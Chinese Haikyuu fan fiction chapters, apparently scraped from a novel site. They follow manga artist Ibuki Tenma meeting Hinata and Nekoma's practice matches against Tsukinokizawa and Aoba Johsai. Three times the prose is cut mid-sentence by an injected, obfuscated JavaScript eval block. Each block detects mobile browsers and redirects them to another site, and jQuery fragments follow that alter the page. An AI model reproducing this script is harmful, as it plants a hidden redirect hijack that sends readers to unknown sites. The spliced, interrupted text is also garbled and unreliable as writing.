孤爪研磨举着手机,低头看看导航:“可GPS说是另一条路。”
“这条是近路,相信我。”
说实话,研磨觉得原地等待是最好的方式。
但出于伊吹天满的表情过于自信,孤爪研磨开始跟着他七拐八绕,愣是拐进一条全是垃圾的死胡同,而再度七拐八绕,他们回到了原点。
——无用的体力浪费出现了。
孤爪研磨一屁股坐在路边的花坛上,坚决表示自己不想做任何多余的移动。
宫城并不像是东京大都市一样日新月异,按理说就连街上的商店都很少转手成别的店铺,按理说他肯定记得路。天满站在死胡同口左看看右看看,试图从旁边的建筑中找出些许熟悉的线索,望着面前非常显眼的街心公园。
“这个地方真的离乌野高中特别近。”天满下结论,“我拿《银月暴击》被腰斩发誓。”
“……那是最后一天的练习赛对手,你现在再发誓也一毫无用处。”研磨叹了口气,“槻木泽高中才是正确的目的地。”
“啊,是黑尾前辈的电话。”天满眼尖看见研磨的屏幕弹窗。
电话那头刚接通就传来直井监督的一通数落,混杂着黑尾铁朗的怪笑,最后两边商量出个结果——研磨拴着天满不要四处乱跑,他们在原地等待其他人来救援。
既然无事可做,他们两个开始各玩各的。
研磨掏出手机开始清好几个手游的体力,而天满在街心公园的各个角度用手机摄像头记录宫城的背景素材。
“我也是排球部的!我叫日向翔阳!”
天满还蹲在地上以下置位的角度拍街心公园的儿童乐园时,身后就传来一声非常激动的喊声,他一回头看见研磨的面前站着一位年轻的孩子。
这标志性的橘色头发,这朝气的笑容,这饱满的精神状态——天满瞬间就认出来,这不就是来自乌野的后辈小乌鸦吗?
他收起手机,向前方走去。
上辈子去看四分之一决赛时的时候,天满还不算认识日向这个人,但看完比赛后他认真地记住了这个孩子。
听说更后来,日向翔阳被白鸟泽的教练引荐去国外打沙排,等到再看见他时,这孩子已经是黑狼队的一员。
当看到那个孩子站在职业赛场上时,除了为他高兴,天满发现自己的内心也涌溢出不甘心的滋味。
——如果我坚持走这条路,也能走到那个位置吗?
他立刻意识到。
——大概不能吧。
在排球这条路想要走远,天赋和执着,缺一不可,天赋帮你起步,而执着让你走得更远。
有句话说,当冒出放弃这个念头的时候,其实心已经有了偏向。当高中毕业没有收到任何俱乐部的邀请时,所有人都在为他惋惜,只有天满知道自己在伤心过后,选择接受这个结果,甚至没有想过逆风而上。
这大概就是他和日向的区别。
他的世界可以没有排球,但日向却只有排球。
因此小巨人只会留在过去,而太阳永远在前方发光。
他就这样看着日向翔阳在赛场上越走越远,逐步从不甘心变为敬佩,还有一股有荣与焉的快乐。
啊啊啊——好想和他多聊一聊排球啊,和这么阳间的人聊天,尸体一定会变得暖暖的,一定能灵感爆棚画出超带感超热血的剧情吧!
而且上次相遇时大学时期,他觉得自己表现得超级自闭,话也没来得及多说几句。这一次重新对待阳光可爱的后辈,他一定要狠狠地端住靠谱又帅气的前辈的气场,给予前辈满满的爱与关怀。
——至少是不能像是呆瓜一样!
日向听见脚步声,抬眼看着远处慢悠悠走来的人,戴着眼镜,似乎是专门烫的潮流黑色短发(天满:辟谣!我是自然卷),面无表情的模样让他想起影山,周身的空气让人发冷。
这人还穿着常人驾驭不了的大红色外套,上面有着许多大写的字母,脖子上还挂着一看就很高级的单反相机,走起路脚下生风。
大都市来的Cool boy!
日向看着研磨没有想到这个词,但看见这个人立刻就觉得仿佛看见电视剧里涩谷街头的戴着大金链子唱嘻哈歌曲的年轻人。
“你——他也穿着红色队服,你们是一个学校的吗?他也是排球社吗?”乡村少年难得有些紧张。
“嗯,啊,是,他……是我在社团的后辈。”
“后辈?你有后辈,哎你是几年级?是高中生吗?我是高一。”
“高中二年级……”
“哎!!研磨原来是前辈!!”日向的注意力立刻被吸引走,双手合十道歉。
“不用在意,我不喜欢体育社团的辈分讲究。”研磨顿了顿,“叫我「研磨」就好。”
“好!研磨为什么打排球?是不是很喜欢排球吗?”
“……还好,没什么感受,反正从小就开始练了……也说不上讨厌,但排球很累人,要是大家都能站着不动就好了……”
“这样就不叫排球了吧!研磨你是打什么位置?”
“二传……”
“哎!!!!!你和我印象里的二传完全不一样!!!怎么说呢,就是非常「温顺」的感觉!”日向超级惊讶,想起自己队伍里的国王和青叶城西的大王,他大大地用手臂画圆,“我认识的二传手都非常——「吓人」,对了,我是副攻手哦。”
“……唔,是吗。”
“会很奇怪吗?毕竟我的个子更适合自由人啊。”
这时候另一个人插话。
“不会,我和你差不多高,也不是自由人。”天满小幅度在胸前挥挥手,“伊吹天满。”
“啊,我是日向翔阳。”
日向抬头,突然发现刚刚看上去很凶的人,仰起头露出眼睛,站到眼前正冲他微笑,莫名显得特别亲和。
“你真的和我差不多高!”日向站直身体,突然靠近天满,用手掌对比下两人的高度,松了口气,“刚刚远处看还以为你有一米八呢。”
这……算是在夸他吧,夸他气场有一米八。
不愧是我们乌野的孩子,就是嘴甜。
“谢谢你的夸奖,嗯……给你。”
“嗯?”
日向翔阳看着刚认识的Cool Boy低头打开自己的球包摸索寻找,一双手摸来摸去最后掏出了一本书,不容拒绝地塞进自己的手里。
——这是什么?日向低头看去,那是一本漫画,封面画着向前奔跑的两个人,最上面用大字写着标题《银月暴击》。
“这是我最值钱的东西。”天满认真解说道,“快看第一页。”
日向翔阳翻开第一页,这本漫画的首页用记号笔画着一只炸毛的黑色胖鸟,最上方用楷体写着巨大的「武运昌隆」,落尾处还有一个硕大的潦草签名。
“这在我们宅文化里,叫作者亲签。”他生怕日向翔阳听不懂,“而且更重要的是——你看第一页的这里的标号,这本漫画是出版社印刷出的初稿范本,内部传阅并不对外出售。”
日向虽然听不太懂,但能感受到这个东西很稀有:“哇——真的能送给我吗?”
“当然可以。”天满说,“一定要送给你。”
“真的吗!谢谢你的礼物,我可以叫你天满吗,你也可以叫我翔阳。”
“嗯,不喜欢看漫画也没事,我查了二手网站的市场价,至少能卖这个数。”
“不会卖!我会好好看的!”
呃——居然有人会给陌生人送这种东西吗?
是漫画卖不出去吗?这位漫画家竟然已经不择手段地和路人推销漫画了吗?
一个敢送,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12565660|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个敢拿。
研磨坐在花坛边,向左边看了看橘色少年,再向右边看了看黑色卷毛,对这个相亲相爱的画面感到惊奇,没看明白事情的走向怎么发展到这个地步。
很奇怪。
他发现伊吹天满总是莫名其妙地会对某些人特别关照,明明完全不认识,但对某些人的语气特别熟稔,就仿佛初始好感度就比其他人高一截,比如赤苇京治,比如日向翔阳。
——为什么?
他忍不住陷入沉思。
日向打断研磨的思绪:“话说,研磨和天满的学校是什么?”
“……”研磨的目光落在日向翔阳的胸前,“是秘密。”
“唉——那你们学校厉不厉害?”
天满也无法概括这件事,他来音驹虽有两个多月,也在录像中见过去年的对局影像,可所有学校都在不断精进自己,如今的音驹实际上仅仅只与枭谷真实打过练习赛,他也没有十足的把握断定音驹高校在高中联赛的水准。
他决定把解释权交给孤爪前辈。
“以前很强……之后衰弱了。”孤爪研磨说,“不过现在的话……”
他想起音驹的大家,又悄悄瞥了眼伊吹天满。
“我觉得很强哦。”
日向翔阳想要接着问,可是远处突然传来另一个人的喊声。
“喂——集合了。”
橘色少年回头看去,又看见了穿着惹眼红色外套的第三个人——这个人长得很高,像是用发胶专门做出鸡冠一般的高头发。
染发、烫发,杀马特——都市高中生都好潮流啊。
“我们的同伴来找我们了。”研磨挥挥手,“后会有期,翔阳。”
“再会,亲人。”天满依依不舍地握住日向的手,“希望你喜欢这本漫画。”
日向翔阳望着离去的两个人,并没有注意研磨语句中暗藏着的玄机,他突然感觉这位打主攻的同级生的背景分外眼熟。
伊吹天满……
日向低头翻了翻手里突兀多出的礼物,这本崭新的漫画书。
他瞧着封面是两个飞跃的小人,其中有一个长得好像研磨。这一看不简单——居然是一本排球漫画!
“好像很有趣的样子哎。”他一屁股坐在研磨刚刚坐的花坛,盘起腿在阳光下阅读着。
一个小时后,乌野高中排球部内。
乌养教练用计分板烦恼地敲着手掌,恨铁不成钢地看着日向翔阳。
“你怎么能带着漫画去跑步,竟然还看上瘾忘记归队呢?”乌养无奈地说,“你说别人给的,怎么可能?半路还能冒出神经突然给你塞漫画?”
“……这就是事实,但是教练——那本漫画超好看的。”
“算了,随便吧。”乌养系心懒得争论,“影山也过来,我觉得你们两个还得多打磨一下怪人速攻。”
“现在的训练方案不妥吗?”影山飞雄问。
“我希望你们的速度能加快,最好能有新的变式,才能更有把握地迎战音驹……我感觉现在的他们比今年春高的时候要强很多。”
乌养教练解释道,但又不知如何传达自己心中玄之又玄的担忧:“——虽然不太道德,但我找了阿祐,就是街委会排球队见过的那个卖电器的,去替我打探情报,但现在还没有回话。”
“什么情报?”日向和影山问。
“今天下午,音驹要和槻木泽打练习赛,不知道现在战况如何?”乌养说,估摸着时间,“是在半个小时前开始,现在应该还没结束。”
他又等了半个多小时,手机终于响起来电铃声,乌养着急忙慌地接通电话,开口直接询问战况。
电话那头是去刺探军情的泷之下电器店老板,一上来便直奔主题。
“练习赛已经结束,音驹2:0打赢槻木泽。怎么形容呢,音驹还是和以前一样难缠啊。”泷之下祐辅站在槻木泽排球馆外面,用手机悄悄打电话。
他抽着烟望天:“第一局25:21,第二局25:13,第一局还好说,可从第二局槻木泽几乎难以突破防线,打过去的球几乎都能被救起……局势和节奏堪称被音驹一方完全掌控。”
“先不说这个,我让你重点关注的那个人呢?”
“啊,那个小巨人的远方亲戚……我只知道他是音驹的十号球衣。”
“什么意思?”
“练习赛中他没有击球——他是替补,这一场根本没有上场。”
19.你来我往
及川彻单肩斜挎着球包,推门走进青叶城西的排球馆,浅棕色的眼睛环视一圈,落到球馆的正对面,双手抱胸不紧不慢地溜达到队伍旁边。
排球馆的另一侧,没见过的身影们已经完成赛前热身,现在正在互相垫球保持手感,鲜红色的队服显得和青叶城西格格不入。
“哎——那边就是东京来的音驹?”
及川念着这个学校的名字,独特的片假名发音还挺可爱,加之红色队服的大部分人的身形都不算壮硕,他没忍住调笑说:“真的是一群小猫咪哎!”
岩泉一听见这句话的尾音还带着一个令人作呕的miao,额头青筋暴起,翻了白眼:“知道今天有练习赛就不要来得那么晚,再晚点就迟到了。”
“小岩不懂了吧,身为主将的及川大人当然必须最后一刻闪亮登场啊!”
“废什么话!快去热身!”
青叶城西的二传手被同年级的主攻手施加一顿连续暴扣,刚刚还颇有大将之风,现在就完全又臭屁又欠收拾,两条腿溜得飞快,一边跑一边还回头wink。
天满听见动静,从看台上探出头,他正在安置拍摄练习赛的单反相机,为了素材他堪称是尽心尽力,又提前分别联系三个学校的领队询问可否记录,还求着楼上来看比赛的青叶城西的热心同学帮他置换相机的电池。
“真是活力四射啊,感觉和我们的部门氛围完全不一样。”
天满遥遥地围观青叶城西的闹剧,他定睛看了看乱窜的青城主将,个子很高显得身形修长,脸庞精致得不像话,像是童话里的王子一般。
等一等。
——他能感觉到!就靠这张脸,这位及川前辈就算是个哑巴,也一定能成为漫画中的大烫门中的大烫门!
他举着手机立刻从看台二层往陌生学校那边蹭,闻着味儿就来了。
这个主将长得很面善,似乎很好说话,是多夸几句就会允许天满指定奇奇怪怪pose的那种类型!芜湖,他想拍那种招牌牛郎样式的骑士跪!
夜久卫辅往上一看,就瞧见一年级后辈说是要去安相机,这会儿两只手端着手机,正鬼鬼祟祟地向青叶城西的部队靠近。
他瞬间满脸黑线,宛如凶神恶鬼,手中颠了颠一颗排球,用力一甩直接从一楼到二楼,准确命中队内不省心漫画家的后脑勺。
“给我站好!不准给其他学校添麻烦啊!”
“呜呜呜呜……”
漫画家瞬间捂着脑袋,缩在看台上哭唧唧。
音驹这还不算活力四射吗——没什么精神的孤爪研磨叹气。
十分钟后,双方队员都热身完毕,两方的教练领队相互握手后,青叶城西排球馆的场地上便站上两个学校的球员。
来自东京的音驹vs来自宫城的青叶城西。
排球的替补位置一般都在场外站立,因为要保持状态随时准备热身上场,只有天满悄悄地蹭到猫又教练边上的靠背椅坐着。
主打一个能躺不坐能坐不站,最大程度地节省体力。
教练席比球员休息的长凳更靠近球网中央,为了让教练和监督更好地把控局势,天满在这个位置更能看清两方教练安排的阵容。
青叶城西开场按照从一号位到六号位分别站立着——松川一静、及川彻、岩泉一、金田一勇太郎、国见英、花卷贵大,自由人是渡亲治。
而音驹这边,第一轮选择最常规的站位,从一号位到六号位分别为——孤爪研磨、犬冈走、山本猛虎、海信行、黑尾铁朗、福永招平,自由人是夜久卫辅。
两边都将主力拦网副攻放在后排,而此刻换成自由人,将队内的王牌主攻手置于前列,都想在第一球靠强攻给予对方沉重打击。
“进攻欲望很强。”天满抻着脑袋,去和猫又教练讨论。
猫又教练点头,补充道:“而且你看他们二传的位置,无论发球权在哪边,都能尽快地轮到及川彻的发球轮次。”
“我记得他的发球很难应付。”
“是的,因此要格外小心,第一次面对说不定开始就会丢失大量分数。”
“伊吹,集合了。”黑尾喊了一句。
又来?
昨天在槻木泽已经社死过一次,为什么还不放过他。
退一万步讲,他能不能不参与这个赛前做法环节。
他好羡慕这样高中生们如此饱满的精神状态,不像他,还没开始就用脚趾抠地三室一厅。
青叶城西凝望着另一侧外校的动员环节,昨天入畑着重强调过这支来自东京的悠久高校是稳重内敛的队伍。
“我们是「血液」。”
“必须顺畅无阻地流动,输送氧气。”
“为了让「大脑」,能正常地运作。”
音驹高校再次开始每次必需的血液神教动员,给宫城人民一点小小的city震撼。
———呃,真是稳重内敛,但有人很喜欢。
“小岩,我也想要这种!”及川期待地说,“怎么说我也是青城的宝贝大脑吧!”
“……就你。”岩泉一冷笑,“做梦吧。”
及川彻今天晚到,其实是因为昨天熬夜,所以一觉睡到中午。他看了一晚上音驹的春高预选赛视频,提前了解第二天的对手。
音驹没有突出的球员,正选以高年级为主,所有人基本功都足够扎实,而进攻核心是他们的二传手孤爪研磨。
刚开始并不觉得厉害,可无论球怎么打过去都会被轻易接起来,等真正感到棘手的那一刻,已经无力回天——这是及川彻对这个学校的判断。
他思考着现有的信息,认真打量对面身材瘦小的布丁头,从样貌上显得其貌不扬,放在街上都没人会认为是运动社团的部员,浑身瞧不出一丝一毫的攻击性,甚至显得分外怠惰。
感受到对面打探的视线,孤爪研磨偏头,一双竖瞳一眨不眨,隔着球网凝望着另一个二传手。
“不要放松。”及川沉下声对队员们说。
两方主将猜拳,胜者是青叶城西,由他们开第一球。
发球员是松川一静,他长着一张下三白的丧气脸,是青叶城西三年级的主攻手。
“来个好球!松川前辈!”看台上整齐地大喊着。
松川一静直接跳发,直打至音驹后场。
“接下了!”福永前辈双臂水平,高高地垫起排球,“研磨!”
二传孤爪研磨向左迈一步调整站位,举高双手,跳起来迅速托球。
托球的落点处本来空无一物,突然高高起跳一个身影,他重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12588621|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力下扣直接打在青叶城西的界内——是黑尾铁朗。
音驹的第一分到手。
“孤爪前辈和黑尾前辈的配合一直很好。”天满说。
猫又教练认同:“从小一起长大的默契可是在团队合作中很难得的宝物啊。”
青城的自由人渡亲治把排球丢还给对面,他在原地活动活动身体,有些愤恨没能及时救下球。音驹的第一波攻势太快,无论是拦网还是接球都棋差一步,发球权瞬间转换。
“上来就直接快攻吗……”国见英站在后排,黑尾这计迅猛的暴扣打在他旁边的间隙,“毫不留情啊。”
“根据以前的赛事资料,按理说这个学校更多依赖拦网防守得分。”及川彻说,“据说春高结束他们又换回了曾经的老教练,看起来战术调整很大。”
岩泉一对着一年级们说:“这就垂头丧气了——都见过小乌鸦们的怪人速攻,还会怕这个吗?”
青城一年级们瞬间就提起精神,对啊!还有什么球能比影山和日向那个速度快?
音驹的发球员是犬冈走,这位一年级选择更稳当的上手发球。可能因为首发有些紧张,排球竟然往着自由人的方向落去。
“可以!”青叶城西的渡抬手,一传稳稳地接住,向前垫起,“位置很好!”
及川迅速跑至网前跃起,音驹的一传会主动往二传手的位置靠近,所以当研磨处于后排时他依旧不动就不动,靠高抛托球进攻——而青城相反,他们的二传手会主动在前排寻找更多机会。
青城的二传从中线处起跳,背脊向后弯成弓形的幅度,两只手高高举起,在空中呈现托球的姿势,而在在他的面前主攻手岩泉一正在起跳。
拜托!他们青叶城西又不是没有幼驯染啊!
“也是快攻!”山本喊道。
音驹快速反应,组织拦网。
可就音驹被吸引移动的一刹那,及川彻的身体瞬间改变形态,手掌重重下按,甚至不是轻吊,而是一个相当有力的重扣!
目标正对球网下方!
在拦网最得意的一刻转换战术,及川彻笑着落地,单拳在半空紧握——青叶城西拿下一分。
“……居然是假传真扣!”天满惊讶,“这家伙心真脏!”
“哈哈,我们的二传不也是喜欢二次进攻。”猫又教练大笑,“你在背后也这样骂研磨吗?”
“……”怎么了,他就是双标。
正如猫又教练所言,他们自家的二传也经常使用这一招,音驹方都很习惯。
这更显出青叶城西的及川彻的演技逼真,高明之处就在于他侧跳托球的动作足够到位,以假乱真甚至骗过大部分的音驹队员,无论是拦网还接球都始料未及。
“接下来可就难搞了。”猫又教练悄声提问天满,“这次算是我的策略输给了对方教练,音驹场上的站位受制于青城的站位,能想出来是为什么吗?”
天满看向青城一侧,刚刚二次进攻得分的二传手及川彻正在从二号位走向最后的发球线,他走到边线处站定,将球往递上用力一砸,再把弹起的球禁锢在双手的掌心。
“及川彻很擅长重炮发球。”他慢慢地说,“而我们此刻的后排——”
正站立着音驹最不擅长接球的孤爪研磨。
20.暴风与细雨
及川彻发球。
跳发,通过大距离的助跑后蹬地起跳起后,通过利用高击球点和起跳的冲击力,在空中伸展身体和手臂,促使发球速度更快,强度更大。
他在靠墙前一米的位置站定,深呼出一口气。
发球哨响。
及川彻手中的球立刻被抛至前方,向着高高的天花板,他的重心下压开始助跑。
在蹬地起跳的刹那,及川彻的身体拉成有力的弓形,右手并拢成箭,准确无误地打中排球。球体被瞬间的压力挤到变形,而下一秒只听啪的一声,极为恐怖地射向另一半场。
球砸在地板上,重重弹起。
——青叶城西发球得分。
“这……至少有100km/h吧。”天满瞠目结舌,这个发球依稀让他看见上辈子春高优胜校的王牌跳发。
“这不是最可怕的。”猫又教练尽是无奈神色,“最可怕的是他准头很好。”
及川彻的发球又快又猛,让场上的音驹队员们倒吸一口凉气。
“小心点,研磨。”夜久沉声说,“他是专门冲着你发的。”
他应该是音驹把球路看得最清楚的一人,这技发球是刻意为之,以一个刁钻精妙的弧度直指六号位的孤爪研磨的身体,没有丝毫偏差地打中了研磨。
山本猛虎突然回头,他可没听见手臂和球撞击的闷声,而是打在地板上更清脆的声响。
“喂!研磨,你没有故意躲开吧!”
“……没有。”研磨躲避视线,那颗球是擦着他的手臂过去的,他小声嘟囔,“不过即使要接,那个球速我肯定接不起来”
“不试一试你怎么知道不行!”
“不要……会死人的。”
及川彻的发球可以被称为杀人发球,球速甚至达到职业水准,像是一颗炮弹射向音驹,可谓爆发力十足。
而发球得分后,下一轮还是及川彻。
哨响,他再次压哨迅速跳起,动作自如舒展,手掌打出的又是一发沉重高速的大力跳发!
“嘶。”天满倒吸一口气。
这颗炮弹太准了,准到再次命中侧边的孤爪研磨!
只听砰得一声,球直直地打在研磨还未并拢的单侧手臂上,发出一声闷响,来不及卸掉旋转的力道就高高弹向后方的墙壁。
——一传失败。
厉害,也让人难搞。
孤爪研磨摸了摸手上的立刻泛起的红痕,望向及川彻。
太明显了——及川彻是铁了心要利用他这个天大的破绽用发球迅速拿分。
而这个策略非常有效,及川彻已经连续两次瞄准他的身体四周进攻,只要他不失误,音驹可能不只会连丢这两分,而他也能继续掌握发球权。
孤爪默默地思考策略。
怎么接这个球?他不认为自己能准确地卸力把球准确救起。所以可以尝试用手臂尽量打高球?总之能接到就好,至少不要直接出界让其他人能补救。
“研磨。”
他听见一个声音。
“音驹的大脑不用接一传。”
米色头发的自由人把孤爪研磨一把扯到后排正中,而他自己则原地跳了跳,压低重心,稳稳地立在半个身位的侧前方,宛如一根定海神针。
“接下来——你尽全力逃开吧。”音驹的「守护神」露出严肃又自信的眼神,冲着正前方大喊,“下一颗球,我为你开路。”
“……”研磨后退半步。
虽然但是,其实不用把这句话说的那么大声,会显得他特别没用。
排球场上的六个方位并不是绝对位置,而是相对位置,后排五号位的夜久卫辅只要相对孤爪研磨更靠近右边线就不算犯规。
及川彻双手在手中旋转排球,熟悉圆球体的弹性和触感,望着对面音驹的细微调位,那个瘦小的布丁头离开了中心的位子,缩在一侧而大半个后排的正中央立着一个更加瘦小的身影。
——自由人夜久卫辅。
作为一个队伍的防守核心,高中联赛对于优秀自由人很渴求,在这个妖怪世代里主攻和二传层出不穷,但反而出类拔萃的防守球员略显稀少,而音驹在联赛里名气最大的选手便是眼前的米色头发的少年。
“哎——”及川彻看向音驹,那个小个子自由人半个身体都挡在二传手的身前。
这是专门要让夜久来接他的发球?
及川彻可不想如这群猫咪们所愿。
“那就换个策略。”
他第三次抛起球,助跑,起跳,重击——发球不再打人,而是瞄准后排的空隙!
因为孤爪和夜久的站位靠得太近,音驹整个后场暴露着大块防守漏洞,及川彻笑了笑,这便是他的可乘之机。
这次的发球依旧让人无法看清,连发三次早已大大加强及川彻的手感,这一球让他感觉到无比顺手,仿佛越战越勇,越来越快,以精妙绝伦的斜线急速地飞向后排边线!
一定是压线界内!他立刻判断出。
——砰!
是小臂与排球撞击的声音。
几乎是球发射的一瞬间,音驹的自由人展现极强的协调性和反应力,一个极大跨步转移位置,在眨眼之间抵达攻击的落点。再以极其标准的姿势稳稳地接下发球,双臂并拢下沉吸收掉高速的冲击力,再准确有力地将这颗球接起。
天满望着高高弹起的排球,直上直下,弧度自然又舒服。
判断自由人功力的好坏便是一传的质量,不仅仅是要接起排球,而且用手臂和手腕尽可能地瓦解敌方的攻击性,稳定有效地讲敌方的攻击转化成我方的优势,吹响进攻的号角。
夜久前辈的动作流畅而连贯,接发从容而自如,仿佛并不是面对什么杀人发球,球在他手臂上又直又高地向天花板弹起,下一棒交给孤爪研磨。
“Nice receiving!”
“是机会球!”
——此刻,攻守之势易也。
“前排拦网!”
青叶城西阵型不乱,他们早就做好被对面接下的准备,前排立刻组织防守,及川彻也跑至前场,他们必须穷尽手段继续这一轮的发球回继续得分。
此时的前排副攻金田一眼珠左右迅速移动,身体紧绷着蓄势待发,认真判断对面的音驹队员的动向。
拿下第一分的一号球衣又在助跑,而五号二传手心朝上,离空中下落的排球仍有距离。
金田一的神经紧了一瞬,他竟然判断不出来攻击的动向。他从没见过这样的二传手,托球时甚至不起跳,呆愣愣地在原地站着,等待球慢慢落下,不紧不慢的态度让他都很着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12606680|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
急。
——又是和一号副攻的快攻?不对,那人往右边瞄了眼,另一侧还有一个莫西干头?
所以他该去哪一边拦网?
在无法判断的方向的时刻,一切就该依靠拦网的直觉!一定是莫西干头!在触球的瞬间,金田一毫不犹豫地向左侧奔去,腿部用力一蹬,身体弹射起步,手臂高高举起下压。
“可惜错了。”
研磨在触球的那一刻轻轻一托。
二次进攻?!
金田一只看见球在身体左侧下坠,孤爪研磨竟然在两个攻手同时间起跳时,选择和及川彻一模一样的二次进攻?
“一传快补上!”
排球以微小的抛物线往另一侧球网打去,轻轻点在地上。
轻盈而缓慢。
这颗球的球速和及川彻的发球截然相反,因为是吊球甚至上扬起抛物线,缓缓地打进另一边,但青城出现非常诡异的现象,每一个人都没有跟上这次突发的节奏。
——真是刁钻的角度。
及川彻冷笑,他的位置正好被自由人渡亲治挡住,而自由人又被副攻金田一右移的动作拦住,没能第一时间鱼跃出来,左边的国见眼睛还在注意黑尾的动作……
与其说是没有人反应过来,不如说是所有人的脚步被一环接一环的锁在原地,绵绵软软地没有透露一丝攻击性,但偏偏恰似一张铺天盖地的巨网般沉重。
音驹得分。
“孤爪君。”及川彻往前走了几步,带着上扬的笑容,“我可以叫你研磨酱吗?”
“……”音驹的二传瞥了他一眼,声音很小:“……无所谓。”
他向来不在意称呼,但最好能把结尾的“酱”给省略。
“小研磨~”及川眼神不经意地带上谨慎的审视与观察,“你真的很聪明哎。”
“……没有。”孤爪研磨目光侧移,下意识躲开有些压迫的视线,“不过是以其人之道还治其人之身罢了。”
是及川彻先用的二次进攻。
“哎——前辈我是应该高兴呢还是伤心呢。”
“……”研磨默默往小黑的方向移动。
无论高兴伤心,能不能不要离他那么近。
场上比分正直2:3,音驹夺回发球权。
“做得不错啊,研磨。”猫又教练说,“我们家二传非常会利用别人的心理,你看对面现在算是气得牙痒痒了。”
“总算熬过及川前辈的回合。”天满一颗心终于放回肚子。
发球权正式轮换,音驹的众人大大地松了口气,青城只有及川彻一个人的发球有威胁,而现在他们至少得再得六分才能换回及川彻。
“看着那个人气男一直发球得分,真是让我来气。”山本猛虎站至发球线,而对面的二传站到场内,“看好了研磨,现在轮到音驹王牌的发球回了,我来替你报仇!”
“虽然感谢……但理论上讲,我已经报仇过了。”研磨冷不丁地说。
山本猛虎用球把地板砸得哐哐想:“喂!你非要在这种时候败我的气势吗?”
研磨想了想,甚至稍微举起双臂晃了晃,但声音有气无力:“发个好球,阿虎。”
“你加油助威的时候能不能大声点!”
“不要,好累。”他立刻把手耷拉下去。
21.前夕
练习赛的第一局比赛由青叶城西拿下。
比分最终是30:32,青叶城西以微弱的优势获胜。
中场的休息时间,两边都在休息拉伸和大量喝水。
“他们也太努力了吧。”国见英疲惫地说,皱着张脸开始叹气。
“多久没打过时长这么久的比赛,还只是第一轮,一场练习赛至于那么拼命吗?”
尊重但不理解——国见英痛苦面具。
如果不是最后两分刚好轮到及川彻的发球回,他们与音驹的拉锯战估计会继续一分一分地死咬下去,不知猴年马月能结束。
金田一倒是更兴奋,他是愈战愈勇的类型:“说不上什么原因,但我还挺喜欢音驹这个队伍的!难道是正如那句话,敌人的敌人就是我们的朋友?听说他们和乌野是老对头。”
“只是因为他们——非常正常吧。”国见喝了一口水,“不是乌野那种奇奇怪怪的类型,也不像白鸟泽那么凶猛,全程稳扎稳打,更依赖体系化配合进行得分。”
“稳定又和谐。”岩泉一慢慢地说,“伊达工擅长的拦网,和久南的一传和团队配合,这只东京的队伍都展现得淋漓尽致。”
东京赛区的参赛学校很多,因此竞争更加激烈,能在去年关东大赛里打进十六强证明实力强劲。而且音驹的上场球员主要是二三年级,经过更长时间的磨合,几人之间的配合堪称天衣无缝。
他们一直输给白鸟泽,并不是因为团队配合不够,而是没能限制住牛岛若利的重炮,所以节节败退。
——这场练习赛让及川彻看到可能性,依靠拦网和一传的相互补充,也能在赛场上给人十足的压迫感。
“答应和别的赛区进行练习赛果真是好事啊,一场比赛学习到不少。”及川彻笑了一下,望向红衣的一方,队友们围绕着一个矮胖慈祥的老人商讨下一轮的策略,“不愧是那位猫又教练,回归后让音驹的血液再次生生不息。”
“下一轮要小心。”
岩泉一看了看对面:“直觉告诉我——他们还未穷尽底牌。”
第二轮更换半场,音驹调整了开场站位。从一号位到六号位分别为——海信行、山本猛虎、黑尾铁朗、孤爪研磨、福永招平、犬冈走。
这一轮的第一球由海信行发球。
“海,可以试着往及川那里发球。”研磨回头提醒道,“青城的进攻节奏太依赖于二传,所以不如强制他去接一传。”
“我知道了。”
海信行是三年级的选手,身穿二号球衣,是音驹的副队长。
作为一名主攻手,他的个性并不张扬,实际上倾向于全能接应的位置,但按照数据而言,他是音驹场上得分最多的选手。
不动如山——这是海信行在团队中的位置,无论遇到怎样情况,不急不躁,不骄不馁,脚踏实地地站在队伍的后方。
这是猫又教练把他放在一号位的缘故,因为他知道即使在多么紧张的时刻,海都能准确无误地完成自己的任务。
海站在发球线后,表情沉静,没有掂球也没有转球,只是紧紧地握着它,等待哨响。
一颗球从音驹的后场冲去。
“是跳发!”
“及川前辈!”
“没事,我来接!”
及川彻身体下蹲,用小臂将球高高地弹向前方。
这颗球很高,又直又轻盈地向上,落点接近中线前的半空,而后排的松川一静正在斜线助跑,向着排球奔去。黑尾专注地盯着他,时刻准备预备起跳。
“是后排进攻。”天满在场外看着,高抛球为攻手留足助跑空间,“他们要放弃二传。”
——真的是这样吗?
此时松川一静的脚步骤然一停,而他的面前从中线后突然跃起了另一个身影。
